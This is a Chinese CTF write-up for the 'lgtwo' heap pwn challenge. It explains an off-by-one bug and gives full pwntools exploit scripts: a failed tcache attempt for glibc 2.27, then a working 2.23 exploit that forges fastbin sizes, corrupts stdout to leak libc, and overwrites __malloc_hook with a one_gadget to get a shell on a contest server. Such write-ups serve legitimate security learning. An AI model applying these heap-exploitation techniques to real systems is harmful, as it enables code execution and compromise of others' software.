上海大学生网络安全赛lgtwo

程序分析

 

思路

有一个offset-by-one,但是题目没libc,应该只会是2.27与2.23

先尝试按照2.27的来试试

#! /usr/bin/python
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')

#sh = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

sh = remote('123.56.52.128', 45830)
#proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]

def Log(val):
	log.success('%s = %s'%(str(val), hex(eval(val))))

def Cmd(i):
	sh.sendlineafter('>> ', str(i))

def Add(sz, cont):
	Cmd(1)
	sh.sendlineafter('size?\n', str(sz))	
	sh.recvuntil('content?\n')
	sh.send(cont)

def Delete(idx):
	Cmd(2)
	sh.sendlineafter('index ?\n', str(idx))

def Change(idx, cont):
	Cmd(4)
	sh.sendlineafter('index ?\n', str(idx))
	sh.recvuntil('what is your new content ?\n')
	sh.send(cont)

Add(0x48, 'A'*0x20)
Add(0x48, 'B'*0x20)
Add(0x48, 'C'*0x20)
Delete(2)			#Tcache[0x50]->C

Change(0, 'A'*0x48+p8(0xA1))	#chunkB include chunkC

Delete(1)				#Tcache[0xA0]->(BC)
Add(0x98, 'D'*0x20)

exp = 'A'*0x48
exp+= p64(0x51)			#C's size
exp+= p64(0x602020)		#C's fd = stdout_ptr
Change(1, exp)			#Tcache[0x50]->C->stdout_ptr->stdout

Add(0x48, 'E'*0x20)
Add(0x48, 'F'*0x20)

FILE = p64(0xFBAD1800)	#flag
FILE+= p64(0)*3			#read ptr end base
FILE+= p8(0x90)			#write base
Add(0x48, 'G'*0x20)
Change(4, FILE)

libc.address = u64(sh.recv(8))
Log('libc.address')

#gdb.attach(sh)

sh.interactive()

'''
PtrArr[]		telescope 0x6020C0 16
'''

失败,考虑2.23的libc,使用0x60 0x7F的经典手法

先考虑泄露地址,只能打stdout

利用0x7F.....和0x00...构造出一个0x7F的size字段,绕过fastbin的size检查

 

这里再提一下打stdout的手法,源码分析如果需要的话评论告诉我,这里就只说结论了:

修改stdout的flag为0xFBAD1800之后,print/puts输出时就会有:write(STDOUT, write_base, write_ptr-write_base

而_IO_FILE的结构如下,因此覆盖write_base的最低字节让其指向FILE结构体内部,即可打印出指针,泄露libc地址

struct _IO_FILE {
  int _flags; /* low-order is flags.*/
#define _IO_file_flags _flags

  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  ...
}

 

下面是得到的libc地址,对于这种没给libc的题目,除了骂出题人不讲武德之外,一定要先泄露libc地址,然后去找到到底是哪个libc,一般常用的就2.27和2.23,但是又根据UB版本分为各个小版本,建议到github上用libc-all-in-one的工具去尝试

 

小细节,fastbin在free时还会检查下一个chunk的size是否合法,这个也要注意伪造

 

EXP

#! /usr/bin/python
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')

#sh = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

sh = remote('123.56.52.128', 45830)
#proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]

def Log(val):
	log.success('%s = %s'%(str(val), hex(eval(val))))

def Cmd(i):
	sh.sendlineafter('>> ', str(i))

def Add(sz, cont='A'*0x20):
	Cmd(1)
	sh.sendlineafter('size?', str(sz))	
	sh.recvuntil('content?')
	sh.send(cont)

def Delete(idx):
	Cmd(2)
	sh.sendlineafter('index ?', str(idx))

def Change(idx, cont):
	Cmd(4)
	sh.sendlineafter('index ?', str(idx))
	sh.recvuntil('what is your new content ?')
	sh.send(cont)

#leak addr
Add(0x18)
Add(0x68)
Add(0x68)

exp = 'C'*0x10
exp+= p64(0)+p64(0x21)+'C'*0x10	#fakeChunk1
exp+= p64(0)+p64(0x21)+'C'*0x10	#fakeChunk2
Change(2, exp)

Delete(2)	#Fastbin->C

Change(0, 'A'*0x18+p8(0x91))	#B include C

Delete(1)						#UB<=>(BC)

Add(0x38)						#split UB
Add(0x28)
Add(0x18)

Change(2, 'A'*0x28+p8(0x71))
Change(3, p16(0x75DD))			#fastbin->Chunk->fC near stdout

Add(0x68)						#fastbin->fC near stdout
Add(0x68)

exp = '\x00'*(3+0x30)
exp+= p64(0xFBAD1800)
exp+= p64(0)*3
exp+= p8(0x50)
Change(5, exp)

sh.recvuntil('\x7F\x00\x00')

libc.address = u64(sh.recv(8))-0x3c56a3
Log('libc.address')

ones = [0x45206, 0x4527a, 0xef9f4, 0xf0897]
OGG = libc.address + ones[1]
Log('OGG')

#control __malloc_hook
Add(0x18)	#A
Add(0x50)	#B
Add(0x60)	#C

Change(8, p64(0x21)*12)	#forget fastbin next size
Delete(8)				#Fastbin->C

Change(6, 'A'*0x18+p8(0x81))	
Delete(7)				#fastbin[0x80]->(BC)

Add(0x70)
exp = 'A'*0x58
exp+= p64(0x71)							#C's size
exp+= p64(libc.symbols['__malloc_hook']-0x10-0x10-0x3)		#C's fd = fC near __malloc_hook
Change(7, exp)			#fastbin[0x70]->C->fC near __malloc_hook

Add(0x60)
Add(0x68)

exp = '\x00'*(3+8)
exp+= p64(OGG)									#__realloc_hook
exp+= p64(libc.symbols['realloc']+16)			#__malloc_hook
Change(9, exp)

#gdb.attach(sh, 'break *malloc')

Cmd(1)
sh.recvuntil('size?')
sh.sendline('123')

sh.interactive()

'''
PtrArr[]		telescope 0x6020C0 16
SizeArr[]		telescope 0x602040 16
'''

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值